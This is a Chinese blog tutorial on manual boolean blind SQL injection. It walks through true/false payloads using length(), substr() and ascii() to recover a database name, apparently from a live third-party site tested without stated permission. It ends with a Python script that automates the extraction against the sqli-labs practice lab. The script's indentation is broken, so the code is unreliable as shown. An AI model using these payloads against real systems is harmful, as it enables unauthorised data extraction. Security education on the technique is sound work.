BOOL盲注实战

前言

再一次SQL注入漏洞挖掘中,用工具测试给出的payload:1/**/and+3=5 ,对于这个payload一开始自己也不太清楚是什么意思,因为之前payload是直接可以跑出数据库相关信息,这个显然还不能够跑出相应的信息。在查阅资料和请教别人之后,知道了这其实是bool盲注,对于手动时间和布尔盲注我不是很擅长,大多时候都是使用工具辅助,但是今天我还是要实战一波手动对目标进行bool盲注。

bool盲注主要是依靠请求返回的界面存在不同状态或者结果,然后根据相应的payload来猜测数据库信息,如数据库的长度,数据库的名称等。猜测过程一直重复测试,要求不是很高。


主要使用函数:
length() 返回字符串的长度
substr() 截取字符串,参数:string、start、length
ascii() 返回字符的ascii码
sleep(n)将程序挂起一段时间 ,n为n秒

实战注入

这是一个站点相关的信息,正常访问就是这样。
image

payload如下: 这个payload,and后面的+在post请求中是空格的意思,把+换成空格不影响。
image

这个是在post请求当中,添加payload的,我这这里使用HacKBar进行测试(在burpsuite中同样也可以进行测试)。and 3=5 就是and false ,可以看到false的时候页面返回少量资源,并且没什么价值。
image

将payload换一换,设置成 and 3=3(and true )
image

页面返回了大量的资源,不过暂时没办法直接利用。 and falseand true 让页面返回了不一样的信息,这样我们就可以对数据库信息进行盲注(猜测)。

对数据库的名称长度进行猜测

payload:and length(database())>10
image

EXECUTE之后,返回这个界面说明 and true 就是说明数据库名称长度是大于10的,然后再将数字慢慢加大,根据页面的返回资源判断长度。

payload:and length(database())>11

加大数字之后页面返回的资源变少,说明 and false,就是长度大于11是假的。
image

经过这两次判断,说明数据库名称的长度就是11。验证一下:
payload:and length(database())=11
image

确实是这样。到这里完成第一步,测试出来数据库名称的长度。

对数据库名称进行猜测,这里对返回字符的ascii码进行判断,根据ascii码表查找到相应的字符,最后就可以得到完整的字符串。
猜当前数据库第一个字符:
payload:ascii(substr(database(),1,1))>114
image

这里可以采用二分法进行测试,然后就慢慢的测试出才相应的字符,测试出了第一个字符的ascii码为100,对应字母 d。

image

猜当前数据库第二个字符: 只要修改一下payload,就可以猜测后面的字符。

payload:ascii(substr(database(),2,1))>100
image

经过多次测试,测试出了第二个字符的ascii码为97,对应字母 a
image

就这样一个个的往上加就可以全部测试出来。 最后猜出数据库完整名称 data100_icp,长度刚好是11。

总结

整个过程就是猜测数据较为繁琐,其实我们只要使用对方法,也能够快速的猜测出相对应的字符。主要有下面几个技巧。

  • 使用二分法可以提高速度,先用大于号(>)判断范围
  • 数据库的名称长度一般不会特别长,基本就在20个字符以内。
  • 对于数据库的名称,大多数是小写字母和数字组成。数字ascii码对应范围48~57。小写字母ascii对应范围97~122。

对于这种重复性操作,最好的办法就是使用脚本,让脚本自动跑,根据返回信息的不同,设置特征字符作为判断的条件。

扩展

这里给出SQL注入练习靶场sqli-labs-master,一个bool盲注GET请求的脚本。

import requests
def database_len():
	for i in range(1,10):
		url = '''http://127.0.0.1/sqli-labs-master/Less-8/index.php'''
		payload = '''?id=1' and length(database())>%s''' %i
		# print(url+payload+'%23') 
		r = requests.get(url+payload+'%23')
		if 'You are in' in r.text:
			print(i)

		else:
			#print('false')
			print('database_length:',i)
			break
database_len()

def database_name():
	name = ''
	for j in range(1,9):
		for i in 'sqcwertyuioplkjhgfdazxvbnm':
			url = "http://127.0.0.1/sqli-labs-master/Less-8/index.php?id=1' and substr(database(),%d,1)='%s'" %(j,i)
			# print(url+'%23')
			r = requests.get(url+'%23')
			if 'You are in' in r.text:
			name = name+i

				print(name)

				break
	print('database_name:',name)

database_name()

posted @ 2022-03-20 09:35  Satoris  阅读(29)  评论(0)    收藏  举报